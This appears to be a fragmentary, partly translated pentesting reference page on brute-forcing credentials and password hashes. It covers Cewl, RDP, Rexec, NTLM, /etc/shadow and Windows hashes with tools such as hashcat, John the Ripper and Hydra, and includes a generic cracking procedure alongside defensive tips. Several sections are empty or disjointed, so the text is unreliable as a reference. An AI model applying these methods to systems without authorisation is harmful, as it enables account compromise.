Cewl
Cewl is a tool used to generate custom wordlists by crawling a target's website and extracting unique words. It can be used to create wordlists for brute-forcing passwords based on the target's specific interests or content.
Brute force attacks against Cassandra involve attempting to guess valid credentials by systematically trying all possible combinations of usernames and passwords. This is typically achieved by using automated tools that can rapidly generate and test different combinations until the correct one is found.
Prevention
To prevent brute force attacks against Cassandra, it is recommended to implement strong password policies, such as using complex and lengthy passwords, enabling account lockout mechanisms after a certain number of failed login attempts, and monitoring the system for any unusual login patterns that may indicate a brute force attack in progress. Additionally, using multi-factor authentication can add an extra layer of security to help mitigate the risk of unauthorized access.
FTP (File Transfer Protocol) is a standard network protocol used to transfer files between a client and a server on a computer network. FTP typically operates on port 21.
Brute Force Attack
A brute force attack is a trial-and-error method used to obtain information such as a user password or personal identification number (PIN). In a brute force attack, automated software is used to generate a large number of consecutive guesses as to the value of the desired data.

HTTP - NTLM
Brute Force
Brute forcing NTLM hashes is a common technique used to crack passwords. Tools like hashcat and John the Ripper can be used to perform brute force attacks against NTLM hashes. These tools allow you to try a large number of password combinations in a short amount of time, increasing the chances of finding the correct password. It is important to use a good wordlist and rules when performing brute force attacks to maximize the chances of success.

RDP
RDP (Remote Desktop Protocol) is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. RDP is commonly used for remote administration and accessing virtual desktops.
Brute Force
Brute force attacks against RDP involve attempting to login to an RDP server by systematically trying all possible combinations of usernames and passwords until the correct one is found. This method is time-consuming but can be effective if weak credentials are used. It is important to use strong, complex passwords and implement account lockout policies to prevent brute force attacks.

Rexec
Rexec
Rexec is a simple service that allows users to execute commands on a remote system. It is often used by administrators to manage servers and network devices. Rexec is a plaintext protocol, which means that data is not encrypted during transmission. This makes it vulnerable to eavesdropping attacks. An attacker can use a brute-force attack to guess the username and password of the Rexec service and gain unauthorized access to the remote system.
SFTP (Secure File Transfer Protocol) is a secure way to transfer files between machines over a secure channel. It provides encryption for both authentication credentials and data transferred between the client and server.

破解 Linux Hashes - /etc/shadow 文件
Brute-forcing is a common technique used to crack password hashes. In the case of Linux systems, the password hashes are stored in the /etc/shadow file. By brute-forcing these hashes, an attacker can potentially recover the original passwords.
Brute force attacks are a common way to crack Windows hashes. This method involves trying all possible combinations of characters until the correct password is found. There are various tools available to automate the brute force process, such as John the Ripper and Hashcat.
Steps to Crack Windows Hashes using Brute Force:
Capture the Hash: Obtain the Windows hash that you want to crack.
Choose a Tool: Select a suitable tool for brute force attacks.
Set Parameters: Configure the tool with the necessary parameters, such as character set, minimum and maximum password length, etc.
Initiate the Attack: Start the brute force attack using the chosen tool.
Wait for Results: Depending on the complexity of the password, the tool will continue trying different combinations until the correct one is found.
Access the Password: Once the correct password is identified, you can use it to access the Windows system.
It is important to note that brute force attacks can be time-consuming, especially for complex passwords. Additionally, using strong and unique passwords can help prevent successful brute force attacks.
Brute-forcing is a common technique used to crack hashes. It involves trying all possible combinations of characters until the correct one is found. This method is often used when other techniques, such as dictionary attacks, fail to crack the hash.
Tools
There are several tools available for brute-forcing hashes, including:
Hashcat: A popular password cracking tool that supports multiple hashing algorithms.
John the Ripper: Another widely used password cracking tool that can perform brute-force attacks.
Hydra: A versatile password cracking tool that supports various protocols and services.
Methodologies
When brute-forcing hashes, it is important to consider the following methodologies:
Character Set: Determine the character set used in the hash (e.g., lowercase letters, uppercase letters, numbers, special characters).
Password Length: Estimate the password length to narrow down the search space.
Optimization: Use rules and optimizations to speed up the brute-forcing process.
Wordlists: Combine brute-forcing with wordlists to increase the chances of success.
By following these methodologies and using the right tools, hackers can increase their chances of successfully cracking common application hashes.
